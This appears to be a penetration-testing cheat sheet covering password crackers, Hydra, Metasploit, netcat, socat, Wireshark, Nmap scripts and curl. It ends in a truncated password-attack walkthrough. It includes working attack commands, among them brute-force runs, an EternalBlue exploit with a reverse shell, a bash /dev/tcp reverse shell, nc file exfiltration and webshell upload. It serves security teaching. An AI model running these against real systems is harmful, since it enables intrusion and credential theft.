A parallelized login cracker supporting dozens of protocols (SSH, FTP, RDP, HTTP forms, SMB, MySQL, and more). Given a username (or list) and a password wordlist, it tries combinations until it finds valid credentials.

Why / When to use it

Install: `sudo apt install hydra`

- The standard tool for testing weak/default credentials across almost any network service
- Highly parallel — tests many combinations per second
- Works on both raw protocols (SSH/FTP) and web login forms (http-post-form)

Core flags & syntax

Flag	Meaning
`-l <user>`	Single username
`-L <file>`	Username wordlist
`-p <pass>`	Single password
`-P <file>`	Password wordlist

Flag	Meaning
`-t <n>`	Number of parallel connection threads
`-s <port>`	Non-default port
`-vV`	Verbose — show every attempt
`-f`	Stop as soon as one valid pair is found (per host)

Commands explained (what it does & what you get)

Command	What it does / result
`hydra -l admin -P rockyou.txt ssh://10.10.10.5`	Tries the rockyou wordlist as passwords for user 'admin' over SSH.
`hydra -L users.txt -P passwords.txt ftp://10.10.10.5 -t 4`	Brute-forces FTP with a username list and password list, 4 threads (gentler on the service).
`hydra -l admin -P rockyou.txt 10.10.10.5 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"`	Attacks a web login form: ^USER^/^PASS^ are placeholders, F= is the string that marks a FAILED login so Hydra knows which attempts failed.
`hydra -L users.txt -P common-passwords.txt rdp://10.10.10.5 -t 1`	Slow, careful RDP brute-force (1 thread) — RDP lockouts/detection are common, so go slow.
`hydra -l root -P rockyou.txt -s 2222 ssh://10.10.10.5 -f`	SSH on a non-default port 2222, stopping immediately once one working password is found.

Best wordlists

- rockyou.txt (/usr/share/wordlists/rockyou.txt) — the classic huge real-world password list
- SecLists Passwords/Common-Credentials/10k-most-common.txt for a fast first pass
- SecLists Usernames/top-usernames-shortlist.txt for the -L username list

Pro tips

- Always confirm account lockout policy before brute-forcing production logins — you can lock out real users
- Start with a small, high-quality wordlist (top 100-1000) before committing to all of rockyou.txt
- For web forms, get the exact failure string (F=) right first, or every attempt will show as a false success

Next step

Valid creds found → log in manually to confirm and note privilege level → check for credential reuse across other discovered services → feed into further access (e.g. RDP/SSH session, web admin panel).

14 Medusa

Password Attacks | Hydra's cousin — modular, speed-focused login brute-forcer

Analogy

Medusa is another key-ring locksmith like Hydra, but built with a different engine under the hood, sometimes faster or more stable for specific protocols, and often the second option to try if Hydra chokes on a particular service.

What is it?

A speed-focused, modular parallel login brute-forcer, similar in purpose to Hydra, supporting many of the same protocols (SSH, FTP, HTTP, SMB, MySQL, etc.) through a plugin-per-protocol design.

Why / When to use it

Install: `sudo apt install medusa`

- Good alternative when Hydra has trouble with a specific protocol/module
- Modular design makes protocol-specific quirks easier to handle
- Useful for cross-validating Hydra's findings on important logins

Core flags & syntax

Flag	Meaning
`-h <host>`	Target host
`-u <user> / -U <file>`	Single username / username file
`-p <pass> / -P <file>`	Single password / password file
`-M <module>`	Protocol module (ssh, ftp, http, smbnt, mysql, etc.)

Flag	Meaning
`-t <n>`	Number of parallel threads
`-f`	Stop after first valid login found on any host
`-e ns`	Also try null and username-as-password as extra guesses

Commands explained (what it does & what you get)

Command	What it does / result
`medusa -h 10.10.10.5 -u admin -P rockyou.txt -M ssh`	Brute-forces SSH for user 'admin' using the rockyou wordlist.
`medusa -h 10.10.10.5 -U users.txt -P passwords.txt -M ftp -t 5`	FTP brute-force with username and password lists, 5 parallel threads.
`medusa -h 10.10.10.5 -u administrator -P common-pw.txt -M smbnt`	Targets Windows SMB/NTLM login with a common password list.
`medusa -M http -h target.com -u admin -P rockyou.txt -m FORM:"/login.php:user=^USER^&pass=^PASS^:F=failed"`	Web form brute-force, same idea as Hydra's http-post-form but in Medusa's module syntax.
`medusa -h 10.10.10.5 -u root -P top100.txt -M ssh -e ns -f`	SSH brute-force that also tries no-password and username-as-password, stopping at first success.

Best wordlists

- Same as Hydra: rockyou.txt for depth, SecLists common-credentials lists for a fast first pass

Pro tips

- Medusa's -M module list (medusa -d) tells you exactly which protocols are supported and their exact option syntax
- If Hydra hangs/errors on an odd service, try the equivalent Medusa module before assuming the service is unbrutable
- Same lockout caution as Hydra — confirm policy before a full run on production accounts

Next step

Same as Hydra: confirm valid creds manually, check privilege level, and test for reuse elsewhere in scope.

15 John the Ripper

Password Attacks | The classic offline password-hash cracker

Analogy

If Hydra is trying keys on a locked door in real time, John the Ripper is working on a stolen photograph of the key's shape (the hash) at home, offline, trying to reconstruct the actual key with no risk of the door's alarm (account lockout) ever going off.

What is it?

An offline password cracker that takes captured password hashes (from /etc/shadow, SAM dumps, zip/office files, etc.) and tries to recover the original password using wordlists, rules or brute force — no interaction with the live system needed.

Why / When to use it

Install: `sudo apt install john`

- Works offline — no lockouts, no logs on the target, unlimited attempts at your own pace
- Understands dozens of hash/file formats out of the box (shadow, zip, rar, pdf, office, ssh keys)
- Rule-based mangling (l33t-speak, capitalization, appended numbers) massively improves hit rate over a plain wordlist

Core flags & syntax

Flag	Meaning
`--wordlist=<file>`	Dictionary attack using this wordlist
`--rules`	Apply mangling rules to the wordlist (case, leet, suffixes)
`--format=<type>`	Force a specific hash format (e.g. sha512crypt, NT, raw-md5)

Flag	Meaning
`--show <file>`	Show already-cracked passwords from the pot file
`unshadow passwd shadow`	Helper: merges passwd+shadow into one crackable file
`--incremental`	Pure brute-force mode (try every character combination)

Commands explained (what it does & what you get)

Command	What it does / result
`unshadow /etc/passwd /etc/shadow > combined.txt`	Merges the passwd and shadow files into one file John can crack (Linux local hash extraction).
`john --wordlist=rockyou.txt combined.txt`	Dictionary attack against the merged Linux hash file using rockyou.
`john --wordlist=rockyou.txt --rules combined.txt`	Same attack but with mangling rules applied — tries Password1!, P@ssword, etc. from each base word.
`john --format=NT ntlm_hashes.txt --wordlist=rockyou.txt`	Cracks Windows NTLM hashes (e.g. dumped via secretsdump) using a wordlist.
`john --show combined.txt`	Displays every password John has already cracked and stored in its pot file, without re-cracking.
`zip2john secret.zip > zip.hash && john zip.hash`	Extracts a crackable hash from a password-protected zip, then attacks it.

Best wordlists

- rockyou.txt for general dictionary attacks
- John's built-in default.rule and jumbo ruleset for mangling
- SecLists Passwords/Leaked-Databases for larger real-world lists

Pro tips

- Always try --rules before going to pure --incremental brute force — rules crack far more with the same wordlist
- John remembers cracked hashes in ~/.john/john.pot — use --show anytime instead of re-running the whole attack
- Match --format exactly to the hash type or John may silently fail to find the right algorithm

Next step

Cracked password → check for reuse across other accounts/services found in the engagement → document hash type + crack time as evidence of weak password policy.

16 Hashcat

Password Attacks | GPU-accelerated password cracker — the fastest option

Analogy

If John the Ripper is one skilled locksmith working by hand, Hashcat is that same locksmith commanding an army of GPU workers, trying millions of key shapes per second by harnessing your graphics card's raw parallel power.

What is it?

A GPU-accelerated password recovery tool supporting hundreds of hash types, dramatically faster than CPU-only tools like John for most algorithms. The go-to choice whenever you have a capable GPU and a serious hash to crack.

Why / When to use it

Install: `sudo apt install hashcat`

- Orders of magnitude faster than CPU cracking for most hash types (especially NTLM, MD5, SHA1)
- Supports combinator, mask and rule-based attacks for smarter, targeted guessing
- Industry standard for password-audit style engagements

Core flags & syntax

Flag	Meaning
`-m <mode>`	Hash type mode number (e.g. 1000=NTLM, 1800=sha512crypt, 22000=WPA)
`-a <n>`	Attack mode: 0=wordlist, 1=combinator, 3=mask/brute-force, 6/7=hybrid
`-o out.txt`	Save cracked results to a file

Flag	Meaning
`--show`	Show already-cracked hashes without re-running
`-r <rulefile>`	Apply a rule file to mangle the wordlist
`?d?d?d?d`	Mask syntax example: 4 digits (used with -a 3)

Commands explained (what it does & what you get)

Command	What it does / result
`hashcat -m 1000 -a 0 ntlm.txt rockyou.txt`	Dictionary attack on NTLM hashes using rockyou (mode 1000 = NTLM, attack 0 = wordlist).
`hashcat -m 1800 -a 0 shadow.txt rockyou.txt -r rules/best64.rule`	Cracks Linux sha512crypt hashes with rockyou plus the popular best64 mangling rule set.
`hashcat -m 22000 -a 0 capture.hc22000 rockyou.txt`	Cracks a captured WPA/WPA2 handshake (converted to hc22000 format) against a wordlist.
`hashcat -m 0 -a 3 md5hashes.txt ?d?d?d?d?d?d`	Pure brute-force (mask attack) trying every combination of 6 digits against MD5 hashes.
`hashcat --show -m 1000 ntlm.txt`	Displays every NTLM hash already cracked in a previous session, instantly.

Best wordlists

- rockyou.txt as the default dictionary
- SecLists Passwords for larger/leaked-database lists
- best64.rule / OneRuleToRuleThemAll.rule for rule-based mangling

Pro tips

- Get -m right — hashcat --help | grep -i <name> or hashcat --example-hashes helps identify the correct mode number
- Combine wordlist + rules (-r) before resorting to pure mask brute-force — it's faster and covers realistic human passwords
- Use --show liberally instead of re-cracking; hashcat keeps a potfile of everything already recovered

Next step

Same as John: check credential reuse, document time-to-crack as evidence for the report, and recommend stronger hashing (bcrypt/argon2) if weak algorithms like MD5/NTLM were found.

17 CeWL

Password Attacks | Custom Word List generator — builds a wordlist FROM the target

Analogy

Instead of trying a generic dictionary against a target, CeWL reads the target company's own website like a nosy visitor, notes every unusual word they use (product names, staff names, jargon), and builds a custom key-ring made specifically for that company's locks.

What is it?

A Ruby tool that spiders a website and extracts all the words used on its pages, building a custom, highly-targeted wordlist. Real people often base passwords on words from their own company/industry, so a CeWL-generated list frequently outperforms a huge generic wordlist.

Why / When to use it

Install: `sudo apt install cewl`

- People use company/product/personal names in passwords far more than random dictionary words
- A small, targeted wordlist cracks faster than searching all of rockyou.txt
- Perfect input to feed straight into Hydra/John/Hashcat for a focused attack

Core flags & syntax

Flag	Meaning
`-d <n>`	Spidering depth (how many link-levels deep to follow)
`-m <n>`	Minimum word length to include
`-w <file>`	Output wordlist to this file
`--lowercase`	Force every word to lowercase

Flag	Meaning
`-e`	Also include email addresses found on the site
`-a`	Also include metadata author names from documents/pages
`--with-numbers`	Keep words that include numbers too

Commands explained (what it does & what you get)

Command	What it does / result
`cewl http://target.com -d 2 -m 5 -w target_words.txt`	Spiders the site 2 links deep, keeps words 5+ characters, saves them to a custom wordlist.
`cewl http://target.com -e -a -w emails_and_words.txt`	Same spidering but also harvests email addresses and document author names — great for username/password guessing.
`cewl http://target.com --lowercase -m 6 -w custom.txt`	Generates an all-lowercase list of 6+ character words, matching typical password casing habits.
`cat target_words.txt | sed 's/$/123/' >> target_words.txt`	Manual mangling example: appends '123' to every harvested word to mimic common password patterns before feeding it to Hydra/John.

Best wordlists

- CeWL doesn't use a wordlist — it CREATES one; run it against the target's own site, careers page, and any linked PDFs/docs

Pro tips

- Point CeWL at the company's About/Team/Careers pages specifically — names and jargon cluster there
- Combine the CeWL output with John/Hashcat rules (best64.rule) to auto-generate realistic variations (Word123!, Word@2024)
- This is the first step of the classic chain: CeWL → build wordlist → Hydra (online) or John/Hashcat (offline hashes) — see the Password Attack Chain page

Next step

Feed the generated wordlist directly into Hydra for an online login attempt, or into John/Hashcat with rules applied for an offline hash-cracking attempt — see the dedicated chain-diagram page.

18 curl

Network Utilities | The universal command-line HTTP/network client

Analogy

curl is a multi-tool courier: it can knock on any door (URL) using any method (GET, POST, PUT), carry any package (headers, cookies, files), speak politely or pretend to be someone else (User-Agent, auth), and report back exactly what happened — all from one command.

What is it?

A command-line tool for transferring data with URLs, supporting HTTP/S, FTP, and dozens of other protocols. In VAPT it is used constantly for manual request crafting, confirming findings, scripting checks, and testing APIs without needing a browser or Burp.

Why / When to use it

Install: `Preinstalled on almost every Linux distro; sudo apt install curl if missing`

- Fastest way to manually confirm a Nikto/Gobuster/Nuclei finding is real
- Scriptable — perfect for automating repetitive checks across many hosts
- Full control over headers/cookies/methods lets you replicate exactly what a browser (or an attacker) would send

Core flags & syntax

Flag	Meaning
`-X <method>`	HTTP method (GET/POST/PUT/DELETE...)
`-d "<data>"`	Send POST data (also sets Content-Type form-urlencoded)
`-H "Header: value"`	Add a custom header
`-b "name=val"`	Send a cookie
`-i / -I`	Include response headers / headers-only (HEAD request)

Flag	Meaning
`-L`	Follow redirects
`-k`	Ignore SSL certificate errors
`-o file / -O`	Save output to a file (named or original filename)
`-s / -v`	Silent mode / verbose (show full request+response)

Commands explained (what it does & what you get)

Command	What it does / result
`curl -I https://target.com`	Sends a HEAD request — quickly shows server headers (software, version) without downloading the page.
`curl -s http://target.com/.git/HEAD`	Checks if a .git folder is exposed — a non-404 response with 'ref: refs/heads/...' confirms the repo is downloadable.
`curl -X POST -d "user=admin&pass=admin" http://target.com/login`	Manually replays a login attempt with POST data, useful to confirm default creds found elsewhere.
`curl -s -H "Authorization: Bearer <token>" https://target.com/api/users`	Sends an authenticated API request with a Bearer token to test access/authorization.
`curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://target.com/backup.zip`	Checks a URL's status code and size without downloading the body — good for scripted existence checks.
`for p in admin login api backup; do echo -n "$p: "; curl -s -o /dev/null -w "%{http_code}\n" http://target.com/$p; done`	Bash loop using curl to quickly probe several interesting paths at once and print each status code.

Pro tips

- -v shows the FULL raw request and response — invaluable for debugging why a payload isn't behaving as expected
- Combine with -s -o /dev/null -w to script fast existence/status checks across many URLs (see loop example)
- See the dedicated Advanced curl page for headers, cookies, file upload, proxying through Burp, and SSRF-style testing

Next step

Use curl to confirm any finding from Nikto/Gobuster/Nuclei before reporting it as real — a manual curl request is the fastest way to see the actual response body/headers.

19 msfconsole (Metasploit)

Web Exploitation | The framework for finding, configuring and firing exploits

Analogy

Metasploit is a giant, organized armory: instead of hand-building a weapon (exploit code) for every target, you walk in, search the shelf for the exploit matching your target's exact weakness, load it, aim (set target/payload), and fire — all through one consistent interface.

What is it?

An exploitation framework with thousands of ready-made exploit modules, payloads, and post-exploitation tools. Given a known vulnerable service/CVE, you search for a matching module, configure a few options, and launch it to gain access, without writing exploit code yourself.

Why / When to use it

Install: `sudo apt install metasploit-framework then: msfconsole`

- Massive, actively maintained library of working exploits mapped to CVEs/services
- Consistent workflow (search → use → set options → run) across every exploit
- Powerful payload options (Meterpreter) give a full post-exploitation toolkit after access

Core flags & syntax

Flag	Meaning
`search <term>`	Find modules matching a name/CVE/service
`use <module>`	Load a specific exploit/auxiliary module
`show options`	List required settings for the loaded module
`set RHOSTS <ip>`	Set the target IP(s)

Flag	Meaning
`set PAYLOAD <name>`	Choose what runs after successful exploitation (e.g. Meterpreter)
`run / exploit`	Launch the configured module
`db_import <file>`	Import an Nmap/Nessus scan into Metasploit's database
`sessions -l`	List active sessions from successful exploits

Commands explained (what it does & what you get)

Command	What it does / result
`search eternalblue`	Finds every module related to EternalBlue (MS17-010) — the famous SMB exploit.
`use exploit/windows/smb/ms17_010_eternalblue`	Loads the EternalBlue exploit module for configuration.
`set RHOSTS 10.10.10.5 && set PAYLOAD windows/x64/meterpreter/reverse_tcp && set LHOST 10.10.14.1`	Configures the target, chooses a Meterpreter reverse shell payload, and sets your own listening IP.
`exploit`	Launches the configured exploit against the target — on success, opens a Meterpreter session.
`db_import fullscan.xml`	Imports a saved Nmap XML scan directly into Metasploit's workspace for automated module matching.
`use auxiliary/scanner/smb/smb_version && set RHOSTS 10.10.10.0/24 && run`	Uses an auxiliary (non-exploit) module just to fingerprint SMB versions across a subnet.

Pro tips

- Always run 'show options' before 'run' — missing a required field (like RHOSTS) is the most common beginner mistake
- Auxiliary modules (scanners, fuzzers) are exploit-free and safe for recon — use them liberally before firing real exploits
- Only use exploit modules within authorized scope — Metasploit modules can crash or damage unpatched/fragile services

Next step

Successful exploit → session opened (shell/Meterpreter) → move into post-exploitation (privilege escalation, credential harvesting, pivoting) per the engagement's rules of engagement, and document exact module + options used as PoC.

20 Netcat

Network Utilities | The 'TCP/IP Swiss-army knife' — raw socket listener/connector

Analogy

Netcat is a plain telephone that can call any number (connect) or just sit and wait for someone to call it (listen), with no fancy features — which is exactly why it is so useful for testing raw connections or receiving a shell from an exploited machine.

What is it?

A simple but powerful utility for reading and writing raw data across network connections using TCP or UDP. Used for banner grabbing, port testing, file transfer, and most famously as a listener to catch reverse shells from exploited targets.

Why / When to use it

Install: `sudo apt install netcat-traditional (or ncat from the nmap package)`

- The classic way to catch a reverse shell after a successful exploit
- Quick manual banner-grab/port-test when you want raw output, not Nmap's formatted report
- Simple file transfer between two hosts with no other tools available

Core flags & syntax

Flag	Meaning
`-l`	Listen mode (wait for an incoming connection)
`-p <port>`	Port to listen on or connect to
`-v / -vv`	Verbose / extra verbose output
`-n`	Skip DNS resolution (numeric IP only, faster)

Flag	Meaning
`-e <cmd>`	Execute a program on connect (used for shells; often disabled by default for safety)
`-u`	Use UDP instead of TCP
`-w <secs>`	Timeout for connections

Commands explained (what it does & what you get)

Command	What it does / result
`nc -lvnp 4444`	Starts a listener on port 4444, waiting for an incoming (reverse shell) connection.
`nc 10.10.10.5 80`	Connects to port 80 manually — type 'GET / HTTP/1.1' and press Enter twice to manually grab a raw HTTP response.
`nc -zv 10.10.10.5 1-1000`	Quick port-scan mode (-z = zero-I/O) across ports 1-1000, printing which ones are open.
`nc -lvnp 4444 > received_file.txt (on attacker) && nc 10.10.14.1 4444 < secret.txt (on target)`	Simple file transfer: attacker listens and redirects incoming data to a file; target connects and sends the file content.
`bash -i >& /dev/tcp/10.10.14.1/4444 0>&1`	Classic reverse shell one-liner run ON the target after exploitation, connecting back to your nc -lvnp listener.

Pro tips

- Set up your nc listener BEFORE triggering the exploit/payload that calls back to it, or you'll miss the connection
- -n avoids slow/leaky DNS lookups — always use it when scanning/connecting by IP
- Many exploitation chains end in 'catch the shell with netcat' — always know your listener IP/port before you start

Next step

Once a shell lands in your listener, stabilize it (python -c 'import pty; pty.spawn("/bin/bash")' or socat) and continue with normal post-exploitation.

21 Socat

Network Utilities | Netcat's more powerful, flexible sibling

Analogy

If Netcat is a plain telephone, Socat is a professional switchboard: it can connect almost any two types of communication endpoint together — TCP, UDP, files, serial ports, even encrypted TLS sockets — and can also give you a much more stable, fully-interactive shell.

What is it?

A relay tool that can connect two data channels of nearly any type together (TCP, UDP, SSL, files, pipes, serial devices). In VAPT it's most commonly used for upgrading a basic reverse shell into a fully interactive TTY, or for relaying/pivoting traffic.

Why / When to use it

Install: `sudo apt install socat`

- Produces a MUCH more stable, fully-interactive shell than a raw netcat shell (supports Ctrl+C, tab-complete, resizing)
- Can set up encrypted (SSL) listeners, harder for simple network monitoring to flag
- Great for port forwarding/pivoting between network segments during an engagement

Core flags & syntax

Flag	Meaning
`TCP-LISTEN:<port>`	Listen for a TCP connection on this port
`TCP:<ip>:<port>`	Connect out to this TCP host/port
`EXEC:"<cmd>"`	Run a command and pipe its I/O into the connection

Flag	Meaning
`,pty,stderr,setsid,sigint,sane`	Common combo to get a full interactive TTY shell
`fork`	Allow the listener to handle multiple/repeated connections
`openssl-listen: / openssl:`	Set up or connect to an SSL/TLS-encrypted channel

Commands explained (what it does & what you get)

Command	What it does / result
`socat TCP-LISTEN:4444,fork -`	Listens on 4444 and forks a new handler per connection — simple flexible listener (attacker side).
`socat file:`tty`,raw,echo=0 TCP:10.10.14.1:4444`	Run ON the target to upgrade a basic shell into a full interactive TTY connecting back to your socat listener.
`socat -d -d TCP-LISTEN:4444,fork EXEC:'bash -li',pty,stderr,setsid,sigint,sane`	Attacker-side listener that gives a fully interactive bash shell with proper terminal behavior on connect.
`socat TCP-LISTEN:8080,fork TCP:192.168.50.10:80`	Port-forward/pivot: relays anything hitting your 8080 straight to an internal host's port 80 — useful for reaching hosts not directly routable.
`socat OPENSSL-LISTEN:443,cert=server.pem,fork -`	Sets up an SSL-encrypted listener on 443 using a certificate — harder for basic packet inspection to flag as a plain shell.

Pro tips

- The classic combo — socat TCP-LISTEN:4444,fork EXEC:'bash -li',pty,stderr,setsid,sigint,sane on attacker, matching socat on target — gives a shell that behaves like a real terminal
- Great for pivoting: forward a port on your attack box into an internal segment you can otherwise only reach through a compromised host
- Socat syntax is dense — keep a couple of proven one-liners saved rather than rebuilding them from scratch each time

Next step

Once you have a stable TTY, continue post-exploitation normally; if pivoting, chain socat relays or move to a proper tool (chisel/ligolo) for larger internal networks.

22 Wireshark

Packet Analysis | The standard GUI packet capture & analysis tool

Analogy

If a network is a busy highway, Wireshark is a camera recording every single vehicle (packet), letting you rewind, zoom in on any car, read its license plate and cargo manifest (headers/payload), and filter to show only trucks from one company (a specific IP/protocol).

What is it?

A graphical (and CLI, via tshark) network protocol analyzer that captures and lets you inspect every packet on a network interface or in a saved .pcap file. Used across both offensive (traffic analysis, credential sniffing, protocol understanding) and defensive (as in the SOC playbook) work.

Why / When to use it

Install: `sudo apt install wireshark (add your user to the wireshark group to capture without sudo)`

- See exactly what a tool (sqlmap, Hydra, an exploit) actually sends over the wire — the ground truth
- Sniff unencrypted protocols (HTTP, FTP, Telnet) for credentials during an internal assessment
- Verify whether an exploit/payload triggered the expected network behavior

Core flags & syntax

Flag	Meaning
`Capture filter (before capture)`	BPF syntax, e.g. host 10.10.10.5 and port 80 — reduces what gets captured
`Display filter (after capture)`	Wireshark syntax, e.g. http.request — filters what's SHOWN from an existing capture
`Follow → TCP Stream`	Reassembles a full conversation into one readable view

Flag	Meaning
`Statistics → Conversations`	Summary of who talked to whom and how much
`File → Export Objects → HTTP`	Extracts transferred files straight out of a capture

Commands explained (what it does & what you get)

Command	What it does / result
`ip.addr == 10.10.10.5 && http`	Display filter: shows only HTTP traffic to/from a specific host — good for isolating one target during a test.
`http.request.method == "POST"`	Shows only POST requests — useful for spotting login/form submissions, including plaintext credentials.
`ftp || telnet`	Shows FTP or Telnet traffic — both send credentials in cleartext, a classic internal-pentest finding.
`tcp contains "password"`	Finds any packet whose raw payload contains the literal string 'password' — quick and dirty credential hunting.
`Right-click a packet → Follow → TCP Stream`	Reassembles the whole request/response conversation for that connection into readable text, in order.
`tshark -r capture.pcap -Y "http.request" -T fields -e ip.src -e http.host -e http.request.uri`	Command-line equivalent: extracts source IP, host and URI from every HTTP request in a saved capture, for scripting.

Pro tips

- Use a capture filter to avoid drowning in irrelevant traffic on a busy network, then refine further with display filters
- Cleartext protocol findings (FTP/Telnet/HTTP login) are some of the easiest, most convincing findings for a VAPT report — always check for them
- tshark (CLI) is perfect for scripting the same analysis Wireshark does interactively, useful in automated reporting

Next step

Any cleartext credential found → note the protocol, source/destination and exact packet as evidence → recommend the encrypted equivalent (SFTP/SSH/HTTPS) in the report.

Deep Dive: Nmap Scripting Engine (NSE)

What NSE is

NSE lets Nmap run small Lua scripts against discovered ports to do far more than just say "open" — check for vulnerabilities, brute-force logins, enumerate shares, grab extra banners, even attempt safe exploits. Scripts are organised into categories (below) so you can choose how safe or aggressive a scan should be.

NSE Script Categories

Category	What it checks	Example scripts
auth	Checks for authentication bypass or default/weak credential handling	ftp-anon, mysql-empty-password, smb-enum-users
broadcast	Discovers hosts on the local network via broadcast queries	broadcast-dhcp-discover, broadcast-ping
brute	Brute-forces credentials for a huge range of protocols	mysql-brute, ssh-brute, ftp-brute
default (-sC)	Safe, commonly-useful scripts run automatically with -sC/-A	http-title, ssh-hostkey, banner
discovery	Digs deeper into what a service exposes	http-enum, smb-os-discovery, dns-brute
dos	Tests for denial-of-service conditions — DANGEROUS, use only with authorization	smb-vuln-ms06-025 (some vuln scripts can crash a service)
exploit	Attempts to actually exploit a found vulnerability	http-shellshock, ftp-vsftpd-backdoor
external	Queries external/online services/databases for extra info	whois-ip, ip-geolocation-geoplugin
fuzzer	Sends malformed/random input to find crashes or bugs	dns-fuzz, http-form-fuzzer (slow and noisy)
intrusive	May be noisy, resource-heavy or disruptive — not safe by default	http-slowloris, snmp-brute
malware	Checks if a host is already infected/backdoored	http-malware-host, smtp-strangeport
safe	Won't crash services or use excessive resources — safe for any scan	http-headers, ssl-cert
version	Helps with service/version detection (used internally by -sV)	(mostly internal, rarely called directly)
vuln	Checks for specific known CVEs/vulnerabilities	smb-vuln-ms17-010, http-vuln-cve2017-5638

Practical examples

Command	What it does
`nmap --script default,safe 10.10.10.5`	Runs every script tagged 'default' or 'safe' — a broad, low-risk info sweep.
`nmap --script vuln 10.10.10.5`	Every 'vuln' script — checks the host against a wide set of known CVEs by service.
`nmap -p445 --script smb-vuln-ms17-010 10.10.10.5`	Specifically checks SMB (445) for the EternalBlue vulnerability (MS17-010).
`nmap -p80,443 --script http-enum 10.10.10.5`	Enumerates common web directories/files on the detected web server, similar in spirit to Gobuster.
`nmap --script ftp-anon,ftp-brute -p21 10.10.10.5`	Checks if anonymous FTP login works, then brute-forces FTP credentials if not.
`nmap --script "not intrusive" -sV 10.10.10.5`	Runs every default-eligible script EXCEPT ones tagged intrusive — a safer broad sweep.
`nmap --script http-vuln-cve2021-41773 10.10.10.5`	Targeted single-CVE check — Apache path-traversal/RCE (CVE-2021-41773).
`nmap --script-help smb-vuln-ms17-010`	Shows the script's description, author and exact usage before you run it.

How to pick scripts safely

- Start with --script default,safe (or just -sC) — nothing here should crash a service
- Move to --script vuln only when you want a CVE sweep and have authorization
- Avoid intrusive, dos and fuzzer categories unless explicitly scoped — they can disrupt production services
- Use --script-help <name> before running an unfamiliar script to read exactly what it does
- Chain a targeted script (e.g. smb-vuln-ms17-010) straight after a service is confirmed by -sV, instead of blindly running every category

Deep Dive: Advanced curl for VAPT

Basic request inspection

Command	What it does
`curl -I https://target.com`	HEAD-only request — server, version and headers without the body, fastest fingerprint.
`curl -v https://target.com`	Verbose mode: shows the full raw request AND response, including TLS handshake — best for debugging.
`curl -s https://target.com | grep -i 'server|x-powered-by'`	Silent fetch, then greps just the interesting tech-stack headers.

Custom headers, cookies & auth

Command	What it does
`curl -H "User-Agent: Mozilla/5.0" -H "X-Forwarded-For: 127.0.0.1" http://target.com`	Spoofs a normal browser User-Agent and tries an X-Forwarded-For bypass for IP-based access controls.
`curl -b "session=abc123; role=user" http://target.com/admin`	Sends specific cookie values manually — useful for testing role/session tampering.
`curl -u admin:password http://target.com/secure`	Sends HTTP Basic Auth credentials directly in the request.
`curl -H "Authorization: Bearer eyJhbGciOi..." http://target.com/api/me`	Sends a JWT/Bearer token to test API authorization boundaries.

Sending data (forms, JSON, files)

Command	What it does
`curl -X POST -d "username=admin&password=admin" http://target.com/login`	Classic URL-encoded form POST — good for manually testing login endpoints.
`curl -X POST -H "Content-Type: application/json" -d '{"id":1}' http://target.com/api/item`	Sends a raw JSON body to an API endpoint, setting the correct content type.
`curl -F "file=@shell.php" http://target.com/upload`	Multipart file upload — the standard way to manually test a file-upload vulnerability.
`curl -X PUT --data-binary @payload.txt http://target.com/api/resource/1`	Sends raw binary/file content as the body of a PUT request, unmodified.

Redirects, proxies & TLS

Command	What it does
`curl -L http://target.com/old-page`	Follows redirects automatically until it reaches the final page.
`curl -x http://127.0.0.1:8080 -k https://target.com`	Routes the request through Burp Suite's proxy (port 8080) so you can inspect/replay it in Burp; -k ignores cert warnings from Burp's own CA.
`curl -k https://10.10.10.5`	Ignores SSL certificate errors — common on internal/self-signed lab targets.
`curl --resolve target.com:443:10.10.10.5 https://target.com`	Forces a specific IP for a hostname without touching /etc/hosts — handy for testing virtual hosts.

Scripting & automation

Command	What it does
`curl -s -o /dev/null -w "%{http_code}\n" http://target.com/admin`	Prints ONLY the status code, discarding the body — perfect building block for loops checking many paths.
`while read p; do echo -n "$p => "; curl -s -o /dev/null -w "%{http_code}\n" http://target.com/$p; done < paths.txt`	Loops through a file of paths and prints the status code for each, a mini manual Gobuster.
`curl -s https://target.com/robots.txt`	Fetches robots.txt directly — often reveals disallowed (and therefore interesting) paths.
`curl -s https://api.target.com/v1/swagger.json | jq`	Fetches an API's Swagger/OpenAPI spec and pretty-prints it with jq to map every documented endpoint.

Web Discovery: What To Do When You Find a Page

Gobuster / ffuf / Feroxbuster / dirsearch / Nikto all flag interesting paths — here is the exact next action for the common ones

Path found	What it means	What to do next
/admin , /login	Admin or login panel found	Try default creds (admin/admin, admin/password), check for version-specific known CVEs, then Hydra/Burp if a lockout-safe brute force is in scope
/api , /api/v1, /swagger.json	API endpoint or documentation exposed	Pull the OpenAPI/Swagger spec if present, map every endpoint, test auth on each (curl -H Authorization), check for BOLA/IDOR by changing IDs
/backup , /old , /.bak files, /db.sql	Backup or database dump exposed	Download and inspect immediately — often contains credentials, source code or the full schema; treat as a critical finding
/.git	Exposed Git repository	Confirm with curl .../.git/HEAD, then use git-dumper or wget -r to pull the whole repo and inspect commit history for secrets
/uploads , /files , /media	User-upload directory	Test file-upload restrictions (extension/MIME bypass), check for directory listing, look for other users' uploaded files
/.env , /config.php.bak, /wp-config.php.bak	Exposed configuration file	Read directly — frequently contains DB credentials, API keys and secret tokens
/phpmyadmin , /adminer.php	Database admin panel exposed	Try default/blank credentials, check version for known CVEs, this often gives direct DB access
/robots.txt , /sitemap.xml	Hints at disallowed/hidden paths	Read every disallowed path listed — sites often accidentally reveal their own sensitive folders this way

General rule for ANY new path found

- Open it manually (curl -I then curl -s) before assuming anything from the status code alone
- Check response size/content — a 200 could still be a generic "not found" page (soft 404)
- If it needs auth, note it and try default/weak creds only if in scope, otherwise just document it as exposed
- Screenshot or save the raw response as evidence the moment you confirm something real
- Never immediately dump/exploit production data beyond what proves the finding — over-collection creates risk and scope problems

Password Attack Chain: CeWL → Hydra/Medusa → John/Hashcat

The full chain, step by step

1. **Recon** — CeWL
   Spider the target's own website (About/Team/Careers pages) to build a custom, targeted wordlist of real words the organisation actually uses.

2. **Online attempt** — Hydra / Medusa
   Feed the CeWL wordlist (optionally mangled with common suffixes like 123/!/2024) straight into a login brute-force against SSH/FTP/web-login, respecting lockout policy.

3. **Offline attempt** — John the Ripper / Hashcat
   If you instead obtained password HASHES (dumped DB, /etc/shadow, NTLM dump), run the same CeWL wordlist plus rockyou.txt through John/Hashcat with mangling rules (--rules / -r best64.rule).

4. **Validate** — Manual login
   Confirm every 'cracked' or 'valid' credential by actually logging in, and immediately test the same credential against every OTHER service in scope (reuse is extremely common).

Worked example

```
# 1. Build a custom wordlist from the target's own site
cewl http://target.com -d 2 -m 5 -w target_words.txt

